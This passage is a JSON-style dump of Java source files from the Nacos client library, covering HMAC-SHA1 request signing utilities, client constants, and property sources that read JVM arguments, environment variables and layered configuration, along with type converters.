    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport com.alibaba.nacos.common.codec.Base64;\n\nimport javax.crypto.Mac;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * Sign util.\n *\n * @author pbting\n * @date 2019-01-22 10:20 PM\n */\npublic class SignUtil {\n    \n    private static final Charset UTF8 = StandardCharsets.UTF_8;\n    \n    /**\n     * Sign.\n     *\n     * @param data data\n     * @param key  key\n     * @return signature\n     * @throws Exception exception\n     */\n    public static String sign(String data, String key) throws Exception {\n        try {\n            byte[] signature = sign(data.getBytes(UTF8), key.getBytes(UTF8), SignUtil.SigningAlgorithm.HmacSHA1);\n            return new String(Base64.encodeBase64(signature), UTF8);\n        } catch (Exception ex) {\n            throw new Exception(\"Unable to calculate a request signature: \" + ex.getMessage(), ex);\n        }\n    }\n    \n    static byte[] sign(byte[] data, byte[] key, SignUtil.SigningAlgorithm algorithm) throws Exception {\n        try {\n            Mac mac = Mac.getInstance(algorithm.toString());\n            mac.init(new SecretKeySpec(key, algorithm.toString()));\n            return mac.doFinal(data);\n        } catch (Exception ex) {\n            throw new Exception(\"Unable to calculate a request signature: \" + ex.getMessage(), ex);\n        }\n    }\n    \n    public enum SigningAlgorithm {\n        // Hmac SHA1 algorithm\n        HmacSHA1;\n        \n        SigningAlgorithm() {\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/utils/SpasAdapter.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.client.auth.ram.identify.CredentialService;\nimport com.alibaba.nacos.common.codec.Base64;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport javax.crypto.Mac;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * adapt spas interface.\n *\n * @author Nacos\n */\npublic class SpasAdapter {\n    \n    private static final String TIMESTAMP_HEADER = \"Timestamp\";\n    \n    private static final String SIGNATURE_HEADER = \"Spas-Signature\";\n    \n    private static final String GROUP_KEY = \"group\";\n    \n    public static final String TENANT_KEY = \"tenant\";\n    \n    private static final String SHA_ENCRYPT = \"HmacSHA1\";\n    \n    public static Map<String, String> getSignHeaders(String resource, String secretKey) {\n        Map<String, String> header = new HashMap<>(2);\n        String timeStamp = String.valueOf(System.currentTimeMillis());\n        header.put(TIMESTAMP_HEADER, timeStamp);\n        if (secretKey != null) {\n            String signature;\n            if (StringUtils.isBlank(resource)) {\n                signature = signWithHmacSha1Encrypt(timeStamp, secretKey);\n            } else {\n                signature = signWithHmacSha1Encrypt(resource + \"+\" + timeStamp, secretKey);\n            }\n            header.put(SIGNATURE_HEADER, signature);\n        }\n        return header;\n    }\n    \n    public static Map<String, String> getSignHeaders(String groupKey, String tenant, String secretKey) {\n        if (StringUtils.isBlank(groupKey) && StringUtils.isBlank(tenant)) {\n            return null;\n        }\n        \n        String resource = \"\";\n        if (StringUtils.isNotBlank(groupKey) && StringUtils.isNotBlank(tenant)) {\n            resource = tenant + \"+\" + groupKey;\n        } else {\n            if (!StringUtils.isBlank(groupKey)) {\n                resource = groupKey;\n            }\n        }\n        return getSignHeaders(resource, secretKey);\n    }\n    \n    public static Map<String, String> getSignHeaders(Map<String, String> paramValues, String secretKey) {\n        if (null == paramValues) {\n            return null;\n        }\n        \n        String resource = \"\";\n        if (paramValues.containsKey(TENANT_KEY) && paramValues.containsKey(GROUP_KEY)) {\n            resource = paramValues.get(TENANT_KEY) + \"+\" + paramValues.get(GROUP_KEY);\n        } else {\n            if (!StringUtils.isBlank(paramValues.get(GROUP_KEY))) {\n                resource = paramValues.get(GROUP_KEY);\n            }\n        }\n        return getSignHeaders(resource, secretKey);\n    }\n    \n    public static String getSk() {\n        return CredentialService.getInstance().getCredential().getSecretKey();\n    }\n    \n    public static String getAk() {\n        return CredentialService.getInstance().getCredential().getAccessKey();\n    }\n    \n    public static void freeCredentialInstance() {\n        CredentialService.freeInstance();\n    }\n    \n    /**\n     * Sign with hmac SHA1 encrtpt.\n     *\n     * @param encryptText encrypt text\n     * @param encryptKey  encrypt key\n     * @return base64 string\n     */\n    public static String signWithHmacSha1Encrypt(String encryptText, String encryptKey) {\n        try {\n            byte[] data = encryptKey.getBytes(Constants.ENCODE);\n            // Construct a key according to the given byte array, and the second parameter specifies the name of a key algorithm\n            SecretKey secretKey = new SecretKeySpec(data, SHA_ENCRYPT);\n            // Generate a Mac object specifying Mac algorithm\n            Mac mac = Mac.getInstance(SHA_ENCRYPT);\n            // Initialize the Mac object with the given key\n            mac.init(secretKey);\n            byte[] text = encryptText.getBytes(Constants.ENCODE);\n            byte[] textFinal = mac.doFinal(text);\n            // Complete Mac operation, base64 encoding, convert byte array to string\n            return new String(Base64.encodeBase64(textFinal), Constants.ENCODE);\n        } catch (Exception e) {\n            throw new RuntimeException(\"signWithhmacSHA1Encrypt fail\", e);\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/constant/Constants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.constant;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * All the constants.\n *\n * @author onew\n */\npublic class Constants {\n    \n    public static class SysEnv {\n        \n        public static final String USER_HOME = \"user.home\";\n        \n        public static final String PROJECT_NAME = \"project.name\";\n        \n        public static final String JM_LOG_PATH = \"JM.LOG.PATH\";\n        \n        public static final String JM_SNAPSHOT_PATH = \"JM.SNAPSHOT.PATH\";\n        \n        public static final String NACOS_ENV_FIRST = \"nacos.env.first\";\n        \n    }\n    \n    public static class Security {\n    \n        public static final long SECURITY_INFO_REFRESH_INTERVAL_MILLS = TimeUnit.SECONDS.toMillis(5);\n        \n    }\n    \n    public static class Address {\n        \n        public static final int ENDPOINT_SERVER_LIST_PROVIDER_ORDER = 500;\n        \n        public static final int ADDRESS_SERVER_LIST_PROVIDER_ORDER = 499;\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/AbstractPropertySource.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport java.util.Properties;\n\nabstract class AbstractPropertySource {\n    \n    /**\n     * get property's type.\n     * @return name\n     */\n    abstract SourceType getType();\n    \n    /**\n     * get property, if the value can not be got by the special key, the null will be returned.\n     * @param key special key\n     * @return value or null\n     */\n    abstract String getProperty(String key);\n    \n    /**\n     * Tests if the specified object is a key in this propertySource.\n     * @param key key – possible key\n     * @return true if and only if the specified object is a key in this propertySource, false otherwise.\n     */\n    abstract boolean containsKey(String key);\n    \n    /**\n     * to properties.\n     * @return properties\n     */\n    abstract Properties asProperties();\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/JvmArgsPropertySource.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport java.util.Properties;\n\nclass JvmArgsPropertySource extends AbstractPropertySource {\n    \n    private final Properties properties;\n    \n    JvmArgsPropertySource() {\n        this.properties = System.getProperties();\n    }\n    \n    @Override\n    SourceType getType() {\n        return SourceType.JVM;\n    }\n    \n    @Override\n    String getProperty(String key) {\n        return properties.getProperty(key);\n    }\n    \n    @Override\n    boolean containsKey(String key) {\n        return properties.containsKey(key);\n    }\n    \n    @Override\n    Properties asProperties() {\n        Properties properties = new Properties();\n        properties.putAll(this.properties);\n        return properties;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/NacosClientProperties.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport java.util.Properties;\n\n/**\n * NacosClientProperties interface. include all the properties from jvm args, system environment, default setting. more\n * details you can see https://github.com/alibaba/nacos/issues/8622\n *\n * @author onewe\n */\npublic interface NacosClientProperties {\n    \n    /**\n     * all the NacosClientProperties object must be created by PROTOTYPE, so child NacosClientProperties can read\n     * properties from the PROTOTYPE. it looks like this: |-PROTOTYPE----------------> ip=127.0.0.1\n     * |---|-child1---------------> port=6379 if you search key called \"port\" from child1, certainly you will get 6379\n     * if you search key called \"ip\" from child1, you will get 127.0.0.1. because the child can read properties from\n     * parent NacosClientProperties\n     */\n    NacosClientProperties PROTOTYPE = SearchableProperties.INSTANCE;\n    \n    /**\n     * get property, if the value can not be got by the special key, the null will be returned.\n     *\n     * @param key special key\n     * @return string value or null.\n     */\n    String getProperty(String key);\n    \n    /**\n     * get property, if the value can not be got by the special key, the default value will be returned.\n     *\n     * @param key          special key\n     * @param defaultValue default value\n     * @return string value or default value.\n     */\n    String getProperty(String key, String defaultValue);\n    \n    /**\n     * get property from special property source.\n     *\n     * @param source source type\n     * @param key    special key\n     * @return string value or null.\n     * @see SourceType\n     */\n    String getPropertyFrom(SourceType source, String key);\n    \n    /**\n     * get property from special property source.\n     *\n     * @param source source type\n     * @return string value or null.\n     * @see SourceType\n     */\n    Properties getProperties(SourceType source);\n    \n    /**\n     * get boolean, if the value can not be got by the special key, the null will be returned.\n     *\n     * @param key special key\n     * @return boolean value or null.\n     */\n    Boolean getBoolean(String key);\n    \n    /**\n     * get boolean, if the value can not be got by the special key, the default value will be returned.\n     *\n     * @param key          special key\n     * @param defaultValue default value\n     * @return boolean value or defaultValue.\n     */\n    Boolean getBoolean(String key, Boolean defaultValue);\n    \n    /**\n     * get integer, if the value can not be got by the special key, the null will be returned.\n     *\n     * @param key special key\n     * @return integer value or null\n     */\n    Integer getInteger(String key);\n    \n    /**\n     * get integer, if the value can not be got by the special key, the default value will be returned.\n     *\n     * @param key          special key\n     * @param defaultValue default value\n     * @return integer value or default value\n     */\n    Integer getInteger(String key, Integer defaultValue);\n    \n    /**\n     * get long, if the value can not be got by the special key, the null will be returned.\n     *\n     * @param key special key\n     * @return long value or null\n     */\n    Long getLong(String key);\n    \n    /**\n     * get long, if the value can not be got by the special key, the default value will be returned.\n     *\n     * @param key          special key\n     * @param defaultValue default value\n     * @return long value or default value\n     */\n    Long getLong(String key, Long defaultValue);\n    \n    /**\n     * set property.\n     *\n     * @param key   key\n     * @param value value\n     */\n    void setProperty(String key, String value);\n    \n    /**\n     * add properties.\n     *\n     * @param properties properties\n     */\n    void addProperties(Properties properties);\n    \n    /**\n     * Tests if the specified object is a key in this NacosClientProperties.\n     *\n     * @param key key – possible key\n     * @return true if and only if the specified object is a key in this NacosClientProperties, false otherwise.\n     */\n    boolean containsKey(String key);\n    \n    /**\n     * get properties from NacosClientProperties.\n     *\n     * @return properties\n     */\n    Properties asProperties();\n    \n    /**\n     * create a new NacosClientProperties which scope is itself.\n     *\n     * @return NacosClientProperties\n     */\n    NacosClientProperties derive();\n    \n    /**\n     * create a new NacosClientProperties from NacosClientProperties#PROTOTYPE and init.\n     *\n     * @param properties properties\n     * @return NacosClientProperties\n     */\n    NacosClientProperties derive(Properties properties);\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/PropertiesPropertySource.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.ListIterator;\nimport java.util.Properties;\n\nclass PropertiesPropertySource extends AbstractPropertySource {\n    \n    private final Properties properties = new Properties();\n    \n    private final PropertiesPropertySource parent;\n    \n    PropertiesPropertySource() {\n        this.parent = null;\n    }\n    \n    PropertiesPropertySource(PropertiesPropertySource parent) {\n        this.parent = parent;\n    }\n    \n    @Override\n    SourceType getType() {\n        return SourceType.PROPERTIES;\n    }\n    \n    @Override\n    String getProperty(String key) {\n        return getProperty(this, key);\n    }\n    \n    private String getProperty(PropertiesPropertySource propertiesPropertySource, String key) {\n        final String value = propertiesPropertySource.properties.getProperty(key);\n        if (value != null) {\n            return value;\n        }\n        final PropertiesPropertySource parent = propertiesPropertySource.parent;\n        if (parent == null) {\n            return null;\n        }\n        return getProperty(parent, key);\n    }\n    \n    @Override\n    boolean containsKey(String key) {\n        return containsKey(this, key);\n    }\n    \n    boolean containsKey(PropertiesPropertySource propertiesPropertySource, String key) {\n        final boolean exist = propertiesPropertySource.properties.containsKey(key);\n        if (exist) {\n            return true;\n        }\n        final PropertiesPropertySource parent = propertiesPropertySource.parent;\n        if (parent == null) {\n            return false;\n        }\n        return containsKey(parent, key);\n    }\n    \n    @Override\n    Properties asProperties() {\n        List<Properties> propertiesList = new ArrayList<>(8);\n        \n        propertiesList = lookForProperties(this, propertiesList);\n        \n        Properties ret = new Properties();\n        final ListIterator<Properties> iterator = propertiesList.listIterator(propertiesList.size());\n        while (iterator.hasPrevious()) {\n            final Properties properties = iterator.previous();\n            ret.putAll(properties);\n        }\n        return ret;\n    }\n    \n    List<Properties> lookForProperties(PropertiesPropertySource propertiesPropertySource, List<Properties> propertiesList) {\n        propertiesList.add(propertiesPropertySource.properties);\n        final PropertiesPropertySource parent = propertiesPropertySource.parent;\n        if (parent == null) {\n            return propertiesList;\n        }\n        return lookForProperties(parent, propertiesList);\n    }\n    \n    synchronized void setProperty(String key, String value) {\n        properties.setProperty(key, value);\n    }\n    \n    synchronized void addProperties(Properties source) {\n        properties.putAll(source);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/SearchableProperties.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport com.alibaba.nacos.client.constant.Constants;\nimport com.alibaba.nacos.client.env.convert.CompositeConverter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.ListIterator;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.Properties;\nimport java.util.stream.Collectors;\n\n/**\n * Searchable NacosClientProperties. the SearchableProperties that it can be specified search order by nacos.env.first\n *\n * @author onewe\n */\nclass SearchableProperties implements NacosClientProperties {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SearchableProperties.class);\n    \n    private static final JvmArgsPropertySource JVM_ARGS_PROPERTY_SOURCE = new JvmArgsPropertySource();\n    \n    private static final SystemEnvPropertySource SYSTEM_ENV_PROPERTY_SOURCE = new SystemEnvPropertySource();\n    \n    private static final List<SourceType> SEARCH_ORDER;\n    \n    private static final CompositeConverter CONVERTER = new CompositeConverter();\n    \n    static {\n        SEARCH_ORDER = init();\n        StringBuilder orderInfo = new StringBuilder(\"properties search order:\");\n        for (int i = 0; i < SEARCH_ORDER.size(); i++) {\n            orderInfo.append(SEARCH_ORDER.get(i).toString());\n            if (i < SEARCH_ORDER.size() - 1) {\n                orderInfo.append(\"->\");\n            }\n        }\n        LOGGER.debug(orderInfo.toString());\n    }\n    \n    private static List<SourceType> init() {\n        List<SourceType> initOrder = Arrays.asList(SourceType.PROPERTIES, SourceType.JVM, SourceType.ENV);\n        \n        String firstEnv = JVM_ARGS_PROPERTY_SOURCE.getProperty(Constants.SysEnv.NACOS_ENV_FIRST);\n        if (StringUtils.isBlank(firstEnv)) {\n            firstEnv = SYSTEM_ENV_PROPERTY_SOURCE.getProperty(Constants.SysEnv.NACOS_ENV_FIRST);\n        }\n        \n        if (StringUtils.isNotBlank(firstEnv)) {\n            try {\n                final SourceType sourceType = SourceType.valueOf(firstEnv.toUpperCase());\n                if (!sourceType.equals(SourceType.PROPERTIES)) {\n                    final int index = initOrder.indexOf(sourceType);\n                    final SourceType replacedSourceType = initOrder.set(0, sourceType);\n                    initOrder.set(index, replacedSourceType);\n                }\n            } catch (Exception e) {\n                LOGGER.warn(\"first source type parse error, it will be used default order!\", e);\n            }\n        }\n        return initOrder;\n    }\n    \n    static final SearchableProperties INSTANCE = new SearchableProperties();\n    \n    private final List<AbstractPropertySource> propertySources;\n    \n    private final PropertiesPropertySource propertiesPropertySource;\n    \n    private SearchableProperties() {\n        this(new PropertiesPropertySource());\n    }\n    \n    private SearchableProperties(PropertiesPropertySource propertiesPropertySource) {\n        this.propertiesPropertySource = propertiesPropertySource;\n        this.propertySources = build(propertiesPropertySource, JVM_ARGS_PROPERTY_SOURCE, SYSTEM_ENV_PROPERTY_SOURCE);\n    }\n    \n    @Override\n    public String getProperty(String key) {\n        return getProperty(key, null);\n    }\n    \n    @Override\n    public String getProperty(String key, String defaultValue) {\n        return this.search(key, String.class).orElse(defaultValue);\n    }\n    \n    @Override\n    public String getPropertyFrom(SourceType source, String key) {\n        if (source == null) {\n            return this.getProperty(key);\n        }\n        switch (source) {\n            case JVM:\n                return JVM_ARGS_PROPERTY_SOURCE.getProperty(key);\n            case ENV:\n                return SYSTEM_ENV_PROPERTY_SOURCE.getProperty(key);\n            case PROPERTIES:\n                return this.propertiesPropertySource.getProperty(key);\n            default:\n                return this.getProperty(key);\n        }\n    }\n    \n    @Override\n    public Properties getProperties(SourceType source) {\n        if (source == null) {\n            return null;\n        }\n        switch (source) {\n            case JVM:\n                return JVM_ARGS_PROPERTY_SOURCE.asProperties();\n            case ENV:\n                return SYSTEM_ENV_PROPERTY_SOURCE.asProperties();\n            case PROPERTIES:\n                return this.propertiesPropertySource.asProperties();\n            default:\n                return null;\n        }\n    }\n    \n    @Override\n    public Boolean getBoolean(String key) {\n        return getBoolean(key, null);\n    }\n    \n    @Override\n    public Boolean getBoolean(String key, Boolean defaultValue) {\n        return this.search(key, Boolean.class).orElse(defaultValue);\n    }\n    \n    @Override\n    public Integer getInteger(String key) {\n        return getInteger(key, null);\n    }\n    \n    @Override\n    public Integer getInteger(String key, Integer defaultValue) {\n        return this.search(key, Integer.class).orElse(defaultValue);\n    }\n    \n    @Override\n    public Long getLong(String key) {\n        return getLong(key, null);\n    }\n    \n    @Override\n    public Long getLong(String key, Long defaultValue) {\n        return this.search(key, Long.class).orElse(defaultValue);\n    }\n    \n    @Override\n    public void setProperty(String key, String value) {\n        propertiesPropertySource.setProperty(key, value);\n    }\n    \n    @Override\n    public void addProperties(Properties properties) {\n        propertiesPropertySource.addProperties(properties);\n    }\n    \n    @Override\n    public Properties asProperties() {\n        Properties properties = new Properties();\n        final ListIterator<AbstractPropertySource> iterator = propertySources.listIterator(propertySources.size());\n        while (iterator.hasPrevious()) {\n            final AbstractPropertySource previous = iterator.previous();\n            properties.putAll(previous.asProperties());\n        }\n        return properties;\n    }\n    \n    @Override\n    public boolean containsKey(String key) {\n        for (AbstractPropertySource propertySource : propertySources) {\n            final boolean containing = propertySource.containsKey(key);\n            if (containing) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    private <T> Optional<T> search(String key, Class<T> targetType) {\n        for (AbstractPropertySource propertySource : propertySources) {\n            final String value = propertySource.getProperty(key);\n            if (value != null) {\n                if (targetType.isAssignableFrom(String.class)) {\n                    return (Optional<T>) Optional.of(value);\n                }\n                return Optional.ofNullable(CONVERTER.convert(value, targetType));\n            }\n        }\n        return Optional.empty();\n    }\n    \n    private List<AbstractPropertySource> build(AbstractPropertySource... propertySources) {\n        final Map<SourceType, AbstractPropertySource> sourceMap = Arrays.stream(propertySources)\n                .collect(Collectors.toMap(AbstractPropertySource::getType, propertySource -> propertySource));\n        return SEARCH_ORDER.stream().map(sourceMap::get).collect(Collectors.toList());\n    }\n    \n    @Override\n    public NacosClientProperties derive() {\n        return new SearchableProperties(new PropertiesPropertySource(this.propertiesPropertySource));\n    }\n    \n    @Override\n    public NacosClientProperties derive(Properties properties) {\n        final NacosClientProperties nacosClientProperties = this.derive();\n        nacosClientProperties.addProperties(properties);\n        return nacosClientProperties;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/SourceType.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\n/**\n * properties source type enum.\n * @author onewe\n */\npublic enum SourceType {\n    /**\n     * get value from properties.\n     */\n    PROPERTIES,\n    /**\n     * get value from jvm args.\n     */\n    JVM,\n    /**\n     * get value from system environment.\n     */\n    ENV,\n    /**\n     * get value from unknown environment, will be search in all properties by orders.\n     */\n    UNKNOWN\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/SystemEnvPropertySource.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env;\n\nimport java.util.Map;\nimport java.util.Properties;\n\nclass SystemEnvPropertySource extends AbstractPropertySource {\n    \n    private final Map<String, String> env = System.getenv();\n    \n    @Override\n    SourceType getType() {\n        return SourceType.ENV;\n    }\n    \n    @Override\n    String getProperty(String key) {\n        String checkedKey = checkPropertyName(key);\n        if (checkedKey == null) {\n            final String upperCaseKey = key.toUpperCase();\n            if (!upperCaseKey.equals(key)) {\n                checkedKey = checkPropertyName(upperCaseKey);\n            }\n        }\n        if (checkedKey == null) {\n            return null;\n        }\n        return env.get(checkedKey);\n    }\n    \n    /**\n     * copy from https://github.com/spring-projects/spring-framework.git\n     * Copyright 2002-2021 the original author or authors.\n     * Since:\n     * 3.1\n     * Author:\n     * Chris Beams, Juergen Hoeller\n     */\n    private String checkPropertyName(String name) {\n        // Check name as-is\n        if (containsKey(name)) {\n            return name;\n        }\n        // Check name with just dots replaced\n        String noDotName = name.replace('.', '_');\n        if (!name.equals(noDotName) && containsKey(noDotName)) {\n            return noDotName;\n        }\n        // Check name with just hyphens replaced\n        String noHyphenName = name.replace('-', '_');\n        if (!name.equals(noHyphenName) && containsKey(noHyphenName)) {\n            return noHyphenName;\n        }\n        // Check name with dots and hyphens replaced\n        String noDotNoHyphenName = noDotName.replace('-', '_');\n        if (!noDotName.equals(noDotNoHyphenName) && containsKey(noDotNoHyphenName)) {\n            return noDotNoHyphenName;\n        }\n        // Give up\n        return null;\n    }\n    \n    @Override\n    boolean containsKey(String name) {\n        return this.env.containsKey(name);\n    }\n    \n    @Override\n    Properties asProperties() {\n        Properties properties = new Properties();\n        properties.putAll(this.env);\n        return properties;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/convert/AbstractPropertyConverter.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env.convert;\n\nabstract class AbstractPropertyConverter<T> {\n    \n    /**\n     * convert property to target object.\n     * @param property the property gets from environments\n     * @return target object\n     */\n    abstract T convert(String property);\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/convert/BooleanConverter.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.env.convert;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nclass BooleanConverter extends AbstractPropertyConverter<Boolean> {\n    \n    private static final Set<String> TRUE_VALUES = new HashSet<>(8);\n    \n    private static final Set<String> FALSE_VALUES = new HashSet<>(8);\n    \n    static {\n        TRUE_VALUES.add(\"true\");\n        TRUE_VALUES.add(\"on\");\n        TRUE_VALUES.add(\"yes\");\n        TRUE_VALUES.add(\"1\");\n        \n        FALSE_VALUES.add(\"false\");\n        FALSE_VALUES.add(\"off\");\n        FALSE_VALUES.add(\"no\");\n        FALSE_VALUES.add(\"0\");\n    }\n    \n    @Override\n    Boolean convert(String property) {\n        if (StringUtils.isEmpty(property)) {\n            return null;\n        }\n        property = property.toLowerCase();\n        if (TRUE_VALUES.contains(property)) {\n            return Boolean.TRUE;\n        } else if (FALSE_VALUES.contains(property)) {\n            return Boolean.FALSE;\n        } else {\n            throw new IllegalArgumentException(\"Invalid boolean value '\" + property + \"'\");\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/env/convert/CompositeConverter.java",
